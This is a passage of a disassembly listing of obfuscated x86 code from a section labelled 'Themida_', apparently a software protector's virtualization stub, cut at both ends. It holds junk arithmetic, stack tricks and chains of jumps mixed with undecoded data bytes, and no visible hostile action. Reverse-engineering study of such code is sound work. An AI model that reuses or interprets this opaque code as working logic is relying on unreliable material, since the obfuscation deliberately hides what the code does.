		dd 0E5C00000h, 3F58006h, 0FFDDC9E9h, 4BD55FFh, 1000000h
		dd 7AE2E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55FDC6:				; CODE XREF: Themida_:0055DA12j
		mov	esi, 55D40FABh
		mov	edi, 55D40FAFh
		sub	edi, esi
		pop	esi
		add	eax, edi
		pop	edi
		add	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_55C443
; ---------------------------------------------------------------------------


loc_55FDE5:				; CODE XREF: Themida_:00568BA8j
		push	59AEh
		mov	[esp], edx
		xor	[esp], eax
		jmp	loc_566497
; ---------------------------------------------------------------------------


loc_55FDF5:				; CODE XREF: Themida_:0055C307j
		mov	edi, 525F1C2Bh
		sub	eax, edi
		pop	edi
		xor	eax, 27FDEA43h
		and	ecx, eax
		pop	eax
		sub	ecx, 505758C8h
		xor	ecx, 86866C1h
		push	esi
		jmp	loc_560723
; ---------------------------------------------------------------------------


loc_55FE17:				; CODE XREF: Themida_:0055BCFEj
		or	ebx, ebx
		jnz	loc_5676C6
		sub	esp, 4
		jmp	loc_568EA3
; ---------------------------------------------------------------------------


loc_55FE27:				; CODE XREF: Themida_:00567439j
		mov	esp, [esp]
		jmp	loc_56181C
; ---------------------------------------------------------------------------
aEs		db 'EéÏ',0Dh,0
		dd 1518BB00h, 0E38148BEh, 52F778CBh, 0D1FBEB81h, 0DE3102D5h
		dd 0FF9674E9h, 55F001FFh, 434E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FE55:				; CODE XREF: Themida_:0055E740j
		pop	esi
		jmp	loc_55A0A9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C2h, 4BE5600h, 29000000h, 14875EF2h, 5DE95C24h, 50FFFF95h
		dd 5E4AE99Ch, 0C481FFFFh, 4, 444FE9h, 9E18100h,	811FCE3Dh
		dd 0AF0A87F1h, 59CD2958h, 0C102E5C1h, 0DDF704EDh, 158BC581h
		dd 65680AE5h, 8900002Fh, 428F242Ch, 242C8B30h, 0FF762FE9h
		dd 30D330FFh, 0B8D9E9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FEBE:				; CODE XREF: Themida_:00558F45j
		push	702h
		mov	[esp], edi
		push	1CABh
		mov	[esp], ebx
		jmp	loc_558781
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0E9B104C0h, 0FFFFD916h, 4240483h, 592434FFh,	6804C483h
		dd 4034h, 0E9243C89h, 2C3Eh
; ---------------------------------------------------------------------------


loc_55FEF4:				; CODE XREF: Themida_:0055A7CBj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_55A386
; ---------------------------------------------------------------------------


loc_55FEFC:				; CODE XREF: Themida_:005653A7j
		pop	esp
		push	edx
		mov	edx, esp
		push	esi
		mov	esi, 736456E3h
		add	esi, 8C9BA921h
		add	edx, esi
		jmp	loc_566F68
; ---------------------------------------------------------------------------


loc_55FF13:				; CODE XREF: Themida_:00568E31j
		or	edx, eax
		shl	edx, 1
		jmp	loc_5695B1
; ---------------------------------------------------------------------------


loc_55FF1C:				; CODE XREF: Themida_:0055E6D3j
		mov	[esp], ecx
		push	esi
		mov	esi, 194945E0h
		or	esi, 2C69263Dh
		shl	esi, 3
		shr	esi, 6
		xor	esi, 1F1C11ECh
		not	esi
		xor	esi, 0F094FF7Ch
		jmp	loc_56425A
; ---------------------------------------------------------------------------
		dd 53C18166h, 1FBBE975h, 55520000h, 266CE9h
		db 0
; ---------------------------------------------------------------------------


loc_55FF55:				; CODE XREF: Themida_:0055BB9Ej
		mov	[esp], eax
		mov	eax, 57844EDh
		jmp	loc_56AE08
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 56BF5422h, 51243C8Bh, 240C8B54h, 5C7A68h, 24348900h
		dd 45E9E689h
		db 0BDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_555CC4
; ---------------------------------------------------------------------------
		db 2Dh
		dd 752C0D75h, 7505D001h, 5752C0Dh, 18344276h, 0EB98E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		jmp	loc_558CF2
; ---------------------------------------------------------------------------
		db 1, 0D7h, 8Bh
		dd 0F5E92414h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55FFC7:				; CODE XREF: Themida_:005658A3j
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 2
		add	ecx, ebp
		mov	ebp, [esp]
		jmp	loc_55CF7F
; ---------------------------------------------------------------------------
		dd 8CD815Dh, 51203531h,	0F15A1AB9h, 81D9F777h, 1730D1C1h
		dd 4E9C12Bh, 6036E9h
		db 0
; ---------------------------------------------------------------------------


loc_55FFFD:				; CODE XREF: Themida_:00563451j
		pop	dx
		push	ecx
		mov	ch, bh
		jmp	loc_55CD56
; ---------------------------------------------------------------------------


loc_560007:				; CODE XREF: Themida_:0055AD9Cj
		push	dword ptr [esp]
		pop	edi
		jmp	loc_56628A
; ---------------------------------------------------------------------------
		dd 0AFE9525Dh
		db 0C3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560017:				; CODE XREF: Themida_:005665D4j
		mov	ecx, 6B821706h
		dec	ecx
		sub	esp, 4
		mov	[esp], edi
		push	71CB3E6Dh
		pop	edi
		push	eax
		push	ebx
		jmp	loc_5585F3
; ---------------------------------------------------------------------------
		dd 22C3815Bh, 89243BF6h, 241C8BDEh, 8104C483h, 6D7FE0F6h
		dd 8BF23169h, 0C4832434h, 84ED8104h, 171086Ch, 3189E9D5h
		dd 0F2310000h, 8324348Bh, 0D30104C4h, 0FFAA0AE9h, 2434FFFFh
		dd 0D3E95259h, 89000029h, 0FCB3241Ch, 0FCE9D800h
		db 92h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56007F:				; CODE XREF: Themida_:005572F2j
		mov	eax, 6D8854AFh
		mov	ebp, eax
		pop	eax
		push	ebx
		mov	ebx, 9277BB51h
		add	ebp, 3F801795h
		jmp	loc_556487
; ---------------------------------------------------------------------------


loc_560098:				; CODE XREF: Themida_:0055B8EDj
		push	edx
		jmp	loc_5668C4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 4
		add	ebp, 6E253786h
		jmp	loc_564DD9
; ---------------------------------------------------------------------------
		dd 0B850E589h, 4, 4B0EED81h, 0C5016111h, 4B0EC581h, 48B6111h
		dd 4C48324h, 4C581h, 0C4E90000h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5600DF:				; CODE XREF: Themida_:0055CE07j
		mov	[esp], ebx
		push	ebx
		push	edx
		mov	edx, 37BB6B40h
		push	ebx
		push	ebp
		mov	ebp, 72BC411Bh
		mov	ebx, 0A7C23F2h
		jmp	loc_558A55
; ---------------------------------------------------------------------------


loc_5600FA:				; CODE XREF: Themida_:005629FDj
		add	edi, ebp
		jmp	loc_557E60
; ---------------------------------------------------------------------------
		db 0B9h, 65h, 7Eh
		dd 0CB013792h, 934AE959h, 1C8BFFFFh, 4C48324h, 815FFA21h
		dd 0BDFBE4C2h, 73C181D4h, 178175Bh, 8F32E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56012A:				; CODE XREF: Themida_:00564809j
		mov	esi, 5A645FD3h
		jmp	loc_568C33
; ---------------------------------------------------------------------------
		dd 0C581E589h, 4, 0E904C583h, 0FFFFC126h, 0E51FC781h, 0C781E20Fh
		dd 3F0A5DDFh, 82D4EF81h, 5D57223Ch, 0B540E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56015E:				; CODE XREF: Themida_:00561360j
		mov	[esp], ebx
		jmp	loc_56787C
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 0B0B9E9h,	39E95F00h, 5C000077h, 4F4FDFF7h, 0FF7912E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560181:				; CODE XREF: Themida_:00561C6Ej
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	ecx, [esp]
		jmp	loc_567F0F
; ---------------------------------------------------------------------------
		db 4
		dd 52C8009Ch, 0F280CEB2h, 8A69E901h, 0EE810000h, 6A2D6DA8h
		dd 24148B59h, 81E68956h, 4C6h, 4C68300h, 5C243487h, 4EC81h
		dd 4890000h, 0EC815124h, 4, 0BD242C89h,	0B7E46E0h, 81B920B9h
		dd 52A6E9F4h, 9A250000h, 53D7449h, 0DFDFFF6Ah, 2958C289h
		dd 4335AD0h, 0F9AFE924h, 34FFFFFFh, 0D6E95E24h,	0B4000080h
		dd 0E9E288EEh, 5B8Dh
; ---------------------------------------------------------------------------


loc_560208:				; CODE XREF: Themida_:00566187j
		mov	ecx, 8D65951h
		add	ecx, 74125DD1h
		and	ecx, 119C0D7Ch
		inc	ecx
		add	ecx, 589C57D1h
		xor	ecx, 69245CF6h
		mov	eax, ecx
		pop	ecx
		add	ebp, eax
		pop	eax
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_561729
; ---------------------------------------------------------------------------
		dd 4EC835Ah, 6125E9h, 24342800h, 0E924348Ah, 0FFFFC440h
		dd 0E904EC83h, 0FFFFE0A1h
; ---------------------------------------------------------------------------


loc_56025C:				; CODE XREF: Themida_:00558616j
		push	eax
		push	765F27DCh
		pop	eax
		jmp	loc_56A047
; ---------------------------------------------------------------------------


loc_560268:				; CODE XREF: Themida_:00567FCAj
		push	ebx
		jmp	loc_564FC9
; ---------------------------------------------------------------------------
		dw 51E9h
		dd 89FFFF5Ah, 0EC8352E3h, 243C8904h, 4BFh, 5FFA8900h, 6FA5E9h
		dd 444BBD00h, 0E8013759h
		db 8Bh,	2Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55ED51
; ---------------------------------------------------------------------------
		dw 5F59h
		dd 34FFD029h, 0DD14E924h, 348BFFFFh, 4C48124h, 0E9000000h
		dd 0FFFFF209h, 9E5539BDh, 35ED8177h, 0E9779E55h, 0FFFFA617h
		dd 59360D05h, 2434FF13h, 81240C8Bh, 4C4h, 0CF7EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5602EA:				; CODE XREF: Themida_:0055DE5Aj
		pop	eax
		jmp	loc_556887
; ---------------------------------------------------------------------------
		dd 2434FF54h, 9D68535Bh, 89000052h, 4812424h, 424h, 98A0E900h
		dd 665CFFFFh, 0B0240489h, 66C23062h, 0E924048Bh, 0FFFFF6AAh
		dd 56216BBFh, 0BEB8177h, 55671D3Eh, 7A9A6852h, 16E96EB4h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_560333:				; CODE XREF: Themida_:00557A8Ej
		add	dword ptr [esp], 4
		pop	esi
		push	edi
		mov	edi, 717A0BB4h
		dec	edi
		sub	edi, 717A0BAFh
		add	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ecx, 784E3FD5h
		not	ecx
		inc	ecx
		and	ecx, 251B673Dh
		not	ecx
		sub	ecx, 0DD776732h
		mov	ebx, ecx
		jmp	loc_566091
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0AAE92434h, 0FFFFFFC7h, 81582434h, 4ECh, 60F9E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560386:				; CODE XREF: Themida_:0055767Dj
		pop	eax
		sub	bl, al
		sub	bl, 0B2h
		jmp	loc_55F6A5
; ---------------------------------------------------------------------------
		db 31h,	4, 24h
		dd 8B240433h, 0EC832424h, 24048904h, 405E089h, 0E9000000h
		dd 80C6h, 875DEA29h, 895C2414h,	4832424h, 70E90424h, 81FFFF99h
		dd 4EAh, 24148700h, 0FFB320E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5603CD:				; CODE XREF: Themida_:0055D662j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_55A592
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 81241C89h, 4ECh, 242C8900h, 70DEBA52h, 0F281371Ch, 371C70DCh
		dd 555AD589h, 2F243481h, 5B3E9D32h, 322FF381h, 2C8B3E9Dh
		dd 4C48324h, 4199C781h,	0DF017679h, 4199EF81h, 575B7679h
		dd 42474FFh, 83243C8Bh,	0C8904ECh, 55E18924h, 3054BF57h
		dd 0F8E900FAh, 33000027h, 34312434h, 24343324h,	6624248Bh
		dd 6824048Bh, 29DFh, 54241C89h,	0FF6CFAE9h, 53F0BEFFh
		dd 0B9517416h, 69EE677Bh, 4659CE01h, 0FFF2BFE9h, 34FF54FFh
		dd 89535D24h, 4C381E3h,	0E9000000h, 0FFFFD758h
; ---------------------------------------------------------------------------


loc_560480:				; CODE XREF: Themida_:0055EC15j
		xor	edx, eax
		jmp	loc_555CC4
; ---------------------------------------------------------------------------


loc_560487:				; CODE XREF: Themida_:00563401j
		pop	ebp
		jmp	loc_556EC7
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	ecx
		mov	ecx, 68332F4Dh
		sub	ecx, 6EB74D79h
		jmp	loc_567E2B
; ---------------------------------------------------------------------------
		db 0FFh
		dd 669D1C77h, 2414D359h, 4ACDE99Ch, 0FB890000h,	2210BA5Fh
		dd 0DA317DEFh, 3850E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5604C6:				; CODE XREF: Themida_:00569FAEj
		sub	eax, 35F963FBh
		sub	edi, eax
		pop	eax
		mov	ebp, edi
		pop	edi
		push	3B16h
		mov	[esp], ebx
		push	edx
		mov	edx, 0E1F7E50h
		inc	edx
		sub	edx, 0F90A5B0Bh
		mov	ebx, edx
		pop	edx
		push	esi
		mov	esi, 770A6E88h
		add	esi, 141668Ah
		jmp	loc_567394
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 89562414h, 4C681E6h,	0E9000000h, 0FFFFA33Dh,	8773E955h
		dd 68590000h, 45B3h, 0FFEF1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56051D:				; CODE XREF: Themida_:00562353j
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		and	ecx, esi
		push	dword ptr [esp]
		jmp	loc_5588EA
; ---------------------------------------------------------------------------


loc_560536:				; CODE XREF: Themida_:005651AFj
		mov	[esp], edx
		mov	edx, 103D5AE5h
		shr	edx, 2
		neg	edx
		shl	edx, 2
		jmp	loc_55F683
; ---------------------------------------------------------------------------


loc_56054B:				; CODE XREF: Themida_:00562372j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 2C24099h
		add	eax, esi
		pop	esi
		sub	eax, 9A67953Ah
		xor	ecx, eax
		pop	eax
		push	ebp
		push	1EE2h
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], edx
		push	47F501F2h
		jmp	loc_5690DD
; ---------------------------------------------------------------------------
		db 0F7h, 0D8h, 0C1h
		dd 0E95108E0h, 0FFFFCD88h, 0F8242C81h, 2917D912h, 481240Ch
		dd 0D912F824h, 0E9C15917h, 0F72DE908h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5605A2:				; CODE XREF: Themida_:00563AF2j
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_56831A
; ---------------------------------------------------------------------------


loc_5605AD:				; CODE XREF: Themida_:00563F4Bj
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_557D65
; ---------------------------------------------------------------------------
		dw 0E95Fh
		dd 0FFFF9C30h, 68D831ADh, 7347h, 51241489h, 0C9287668h
		dd 2434FF78h, 8B2434FFh, 0BE9240Ch, 89FFFFC7h, 2BF243Ch
		dd 1000000h, 23EAE9F8h,	14890000h, 0E9E28924h, 7073h
; ---------------------------------------------------------------------------


loc_5605F8:				; CODE XREF: Themida_:00559356j
		not	ah
		mov	bh, ah
		pop	eax
		sub	bh, 0BAh
		sub	bh, 0AAh
		add	bh, 0E7h
		xor	bh, 4
		sub	cl, bh
		jmp	loc_55E38C
; ---------------------------------------------------------------------------
		dd 4EC8152h, 0E9000000h, 0FFFFD094h
; ---------------------------------------------------------------------------


loc_56061C:				; CODE XREF: Themida_:00560BD0j
		push	dword ptr [esp]
		jmp	loc_56AD02
; ---------------------------------------------------------------------------
		dd 5603EA81h, 0E95717F4h, 0A0A5h, 9D1C77FFh, 1CD25966h
		dd 85E99C24h
		db 56h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56063F:				; CODE XREF: Themida_:00569B87j
		push	ebx
		push	ebp
		add	dword ptr [esp], 401B6E6Ch
		pop	ebx
		jmp	loc_55DA72
; ---------------------------------------------------------------------------
		dw 0C829h
		dd 6065A305h, 93E9596Ah, 5A000049h, 0D0F6D0F6h,	5206E0C0h
		dd 0F03041B6h, 58C1885Ah, 8031F180h, 0E95084C9h, 81FAh
; ---------------------------------------------------------------------------


loc_560678:				; CODE XREF: Themida_:0056A99Fj
		add	esp, 4
		inc	edi
		or	edi, 3912638h
		not	edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5A0D04C6h
		sub	ebp, 19A059C4h
		add	ebp, 0FFFFFFFFh
		and	ebp, 0A2809D8h
		jmp	loc_56A7A6
; ---------------------------------------------------------------------------


loc_5606A9:				; CODE XREF: Themida_:00561FB5j
		mov	ebx, 1A374B62h
		push	edx
		push	ebx
		pop	edx
		jmp	loc_568B5B
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 4C4835Dh,	0FF7CD5E9h, 24148BFFh, 4C481h
		dd 0EB010000h, 83242C8Bh, 0FB2904C4h, 52B1EB81h, 0E4E94501h
		db 9Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5606E3:				; CODE XREF: Themida_:0055B233j
		add	ebp, ebx
		jmp	loc_55E7D7
; ---------------------------------------------------------------------------
		dw 1433h
		dd 24143124h, 8B241433h, 1C892424h, 6B02E924h, 0DDBE0000h
		dd 812E6487h, 4D667DC5h, 81F50130h, 4D667DEDh, 0E9895E30h
		dd 81242C8Bh, 4C4h, 14E95500h
		db 0C5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560723:				; CODE XREF: Themida_:0055FE12j
		mov	esi, 3DC52B6Bh
		xor	esi, 232224FCh
		jmp	loc_566436
; ---------------------------------------------------------------------------


loc_560733:				; CODE XREF: Themida_:005671D6j
		shr	ebp, 5
		shr	ebp, 7
		push	eax
		mov	eax, 51A20E7Eh
		dec	eax
		inc	eax
		neg	eax
		neg	eax
		sub	eax, 444EDCA5h
		or	ebp, eax
		jmp	loc_55A572
; ---------------------------------------------------------------------------


loc_560751:				; CODE XREF: Themida_:00563FDAj
		shl	esi, 3
		sub	esi, 3D816EAFh
		sub	esi, 705EB549h
		sub	edi, esi
		pop	esi
		and	eax, edi
		jmp	loc_5635F2
; ---------------------------------------------------------------------------


loc_56076A:				; CODE XREF: Themida_:00563AC9j
		pop	dx
		mov	ecx, [esp]
		add	esp, 4
		add	al, 2Fh
		push	edx
		mov	dh, 5
		sub	dh, 1Eh
		push	bx
		mov	bl, 65h
		add	dh, bl
		mov	bx, [esp]
		add	esp, 2
		sub	al, dh
		pop	edx
		add	al, 58h
		jmp	loc_569553
; ---------------------------------------------------------------------------


loc_560794:				; CODE XREF: Themida_:0056A426j
		pop	ecx
		shl	edi, 3
		jmp	loc_56290B
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 0E9h
		dd 7AE0h
; ---------------------------------------------------------------------------


loc_5607A4:				; CODE XREF: Themida_:005698FEj
		push	esi
		mov	esi, 423041E3h
		mov	edx, esi
		pop	esi
		jmp	loc_562DA2
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 6C1DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5607BA:				; CODE XREF: Themida_:00559EEDj
		pop	ecx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		jmp	loc_55CE01
; ---------------------------------------------------------------------------


loc_5607C7:				; CODE XREF: Themida_:005608F9j
		pop	edi
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		jmp	loc_555EDC
; ---------------------------------------------------------------------------
		db 5Bh
		dd 8D22E955h, 3358FFFFh, 14312414h, 24143324h, 2916E9h
		dd 9FCD8100h, 0F709DF38h, 8EC581D5h, 1F72A39h, 0C685DE9h
		dd 89000002h, 34FF240Ch, 89575B24h, 4C781E7h, 51000000h
		dd 4B9h, 59CF0100h, 5C243C87h, 24348B59h, 4C481h, 99E90000h
		db 54h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56082B:				; CODE XREF: Themida_:0055F90Dj
		mov	ebx, 0F1E137E9h
		sub	esi, ebx
		pop	ebx
		add	dword ptr [esp+4], 2F52251Ah
		sub	dword ptr [esp+4], 3E963E65h
		add	dword ptr [esp+4], 0F65077Bh
		sub	[esp+4], esi
		sub	dword ptr [esp+4], 0F65077Bh
		add	dword ptr [esp+4], 3E963E65h
		push	eax
		push	esi
		mov	esi, 29F139FCh
		mov	eax, 560EB1Eh
		add	eax, esi
		pop	esi
		add	dword ptr [esp+8], 16AA6738h
		sub	[esp+8], eax
		sub	dword ptr [esp+8], 16AA6738h
		pop	eax
		pop	esi
		push	dword ptr [esp]
		jmp	loc_55C193
; ---------------------------------------------------------------------------


loc_56088C:				; CODE XREF: Themida_:0056A1C8j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	ecx, 0AEB0EF8h
		jmp	loc_55C8EE
; ---------------------------------------------------------------------------


loc_5608A4:				; CODE XREF: Themida_:0055EE1Cj
		mov	ebp, [esp]
		add	esp, 4
		add	eax, ecx
		jmp	loc_559480
; ---------------------------------------------------------------------------


loc_5608B1:				; CODE XREF: Themida_:0055BA7Cj
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		dd 77FFC361h, 58669D1Ch, 9C240410h, 0FF53FFE9h,	0C8B66FFh
		dd 0E9545624h, 0FFFFF9E6h, 0FF53EFE9h, 47B7FFh,	285B66F8h
		dd 5B472CD8h, 241C8B66h, 4F5268h, 24048900h, 1ACE9h
		db 0
; ---------------------------------------------------------------------------


loc_5608F1:				; CODE XREF: Themida_:00565EF2j
		xor	edi, 6A107B7Eh
		sub	eax, edi
		jmp	loc_5607C7
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 54D04371h, 5049D1F7h, 0D04377B8h, 0D0C18154h, 14EDD3Fh
		dd 0D0E981C1h, 0FF4EDD3Fh, 81582434h, 4C4h, 59CF8900h
		dd 1740D805h, 52F80122h, 16FEE9h, 0C6FE5800h, 8008EEC0h
		dd 0F0287AC6h, 83D0005Ah, 896602ECh, 0E9502414h, 0FFFFF8AFh
		dd 5D2434FFh, 4C481h, 14330000h, 576CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560962:				; CODE XREF: Themida_:00555EB3j
		dec	ebp
		sub	ebp, 59A86C68h
		xor	ebp, 9D608452h
		add	ebx, ebp
		pop	ebp
		add	ebx, 23E66B7Fh
		add	ebx, edi
		sub	ebx, 23E66B7Fh
		push	ecx
		mov	ecx, 1C924D9Ch
		sub	ebx, ecx
		pop	ecx
		jmp	loc_55A649
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 0C05D75E9h, 0D6C9816Eh, 815F5678h, 2861DBE9h, 74E98174h
		dd 0E99103DCh, 0FFFF94F0h, 495968h, 243C8900h, 660C0BBFh
		dd 8BF9297Ch, 0C483243Ch, 6F8BE904h, 4B9FFFFh, 1000000h
		dd 240C8BCAh, 4C481h, 3A680000h, 8900005Dh, 74FF2414h
		dd 3AE90424h, 68000099h, 7315h,	0E9242C89h, 0FFFFF8D0h
; ---------------------------------------------------------------------------


loc_5609F4:				; CODE XREF: Themida_:00558554j
		mov	edi, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_567A1B
; ---------------------------------------------------------------------------


loc_560A02:				; CODE XREF: Themida_:0055F000j
		pop	edx
		jmp	loc_563ACE
; ---------------------------------------------------------------------------
		dd 1324E959h, 26680000h, 0E9000070h, 0FFFF8E39h, 62B968h
		dd 241C8900h, 0FA88C788h, 0AA28E95Bh, 3166FFFFh, 33662434h
		dd 5AE92434h, 0FF000029h, 85E94077h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560A3F:				; CODE XREF: Themida_:00565A4Cj
		xor	esi, ebp
		pop	ebp
		add	ebx, esi
		mov	esi, [esp]
		sub	esp, 4
		jmp	loc_5596D0
; ---------------------------------------------------------------------------
		db 0BDh
		dd 9DA6373h, 15DEA01h, 6EB4E9EAh, 49BFFFFFh, 0E93213E2h
		dd 0FFFF7A22h
; ---------------------------------------------------------------------------


loc_560A68:				; CODE XREF: Themida_:0055A536j
		push	esp
		pop	ebx
		jmp	loc_56731C
; ---------------------------------------------------------------------------
		db 1
		dd 4875DE8h, 0C3315C24h, 20E9BF57h, 5750395Fh, 0B027DC68h
		dd 0E7815F13h, 360B5233h, 4F7BC781h, 0F781435Ch, 6E307683h
		dd 0FFDF1BE9h, 0E95854FFh, 8578h
; ---------------------------------------------------------------------------


loc_560AA4:				; CODE XREF: Themida_:0055D782j
		or	edi, 5ECB033Dh
		add	edi, 0F7EFCBD4h
		sub	ebp, edi
		jmp	loc_56A017
; ---------------------------------------------------------------------------
		db 5Eh
		dd 6362BD55h, 0F755463Ch, 19E9241Ch
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560AC7:				; CODE XREF: Themida_:00564F48j
		dec	ebx
		shr	ebx, 8
		add	ebx, 18675320h
		or	edx, ebx
		pop	ebx
		dec	edx
		push	eax
		mov	eax, 19DD6553h
		add	edx, eax
		pop	eax
		xchg	ebp, edx
		push	ebp
		xchg	esi, [esp]
		not	esi
		xchg	esi, [esp]
		pop	ebp
		xchg	ebp, edx
		sub	edx, 6ADDF50Bh
		jmp	loc_556E98
; ---------------------------------------------------------------------------
		db 8Bh
		dd 83502424h, 248904ECh, 24048124h, 4, 8B2434FFh, 0C4812404h
		dd 4, 4EC81h, 34890000h, 0DB53E924h, 1C89FFFFh,	0CCBA5224h
		dd 4202F547h, 1568EA81h, 0E2816DD3h, 1F057CFFh,	0C9EA814Ah
		dd 89C14404h, 0EBC15AD3h, 7E3C105h, 6A35F381h, 0EB812BEFh
		dd 651FC431h, 4154C581h, 0DD016274h, 1A16E9h
		db 0
; ---------------------------------------------------------------------------


loc_560B61:				; CODE XREF: Themida_:00566B37j
		push	ebp
		push	dword ptr [esp+4]
		jmp	loc_55CA3F
; ---------------------------------------------------------------------------


loc_560B6B:				; CODE XREF: Themida_:00566A18j
		add	edx, 5A9C28EBh
		shr	edx, 3
		xor	edx, 256515Dh
		jmp	loc_5640A0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 2968240Ch, 89000043h, 8B542434h, 0C4812434h,	4, 4EC81h
		dd 3C890000h, 4BF24h, 0C6810000h, 5C365F24h, 9E45E9h, 30E28100h
		dd 8105D043h, 5A123BCAh, 2F55E97Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_560BBE:				; CODE XREF: Themida_:005670C8j
		add	esp, 4
		pop	dword ptr [esp]
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		xchg	ebp, [esp]
		jmp	loc_56061C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8F57E9h, 34E94600h, 0B9FFFF7Fh, 0
		dd 4EC81h, 0C890000h, 0ABE5624h, 3134882Eh, 5E042474h
		dd 0E938428Fh, 0FFFF7D47h, 0FFFFB951h, 0CD29FFFFh, 27E95159h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C13:				; CODE XREF: Themida_:0056A3F2j
		sub	edx, edi
		pop	edi
		mov	esi, edx
		pop	edx
		or	esi, 2C9F0690h
		jmp	loc_561D1D
; ---------------------------------------------------------------------------


loc_560C24:				; CODE XREF: Themida_:00562906j
		pop	edi
		jmp	loc_556307
; ---------------------------------------------------------------------------
aSe_yhT		db '-èE',8,'.YhµT',0
		dd 24148900h, 0FFDA23E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_560C3D:				; CODE XREF: Themida_:00559A20j
		and	ebx, edx
		pop	edx
		push	ebp
		mov	ebp, 6CA7169Eh
		jmp	loc_55A804
; ---------------------------------------------------------------------------
		db 0BEh
		dd 4, 548FBB53h, 0C58177A9h, 3FD92C6Eh,	0ED81DD01h, 3FD92C6Eh
		dd 0E9F5295Bh, 0FFFFAE8Bh
; ---------------------------------------------------------------------------


loc_560C6C:				; CODE XREF: Themida_:0055F3A4j
		push	278Dh
		mov	[esp], eax
		push	esp
		jmp	loc_569E5A
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 7826E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_560C82:				; CODE XREF: Themida_:0055B5ACj
		mov	ecx, 11143F44h
		dec	ecx
		jmp	loc_5664B7
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0B9h
		dd 55483405h, 0E44C27BDh, 0E54FE94Ah, 0C581FFFFh, 4, 4C581h
		dd 20E90000h, 81FFFF95h, 6C4CC0E9h, 3E9C144h, 3869C181h
		dd 0E98145AFh, 32CC1352h, 0A7481F05h, 2DC82957h, 57A7481Fh
		dd 0E9240C8Bh, 0FFFF54ADh
; ---------------------------------------------------------------------------


loc_560CD8:				; CODE XREF: Themida_:005699C9j
		dec	ecx
		not	ecx
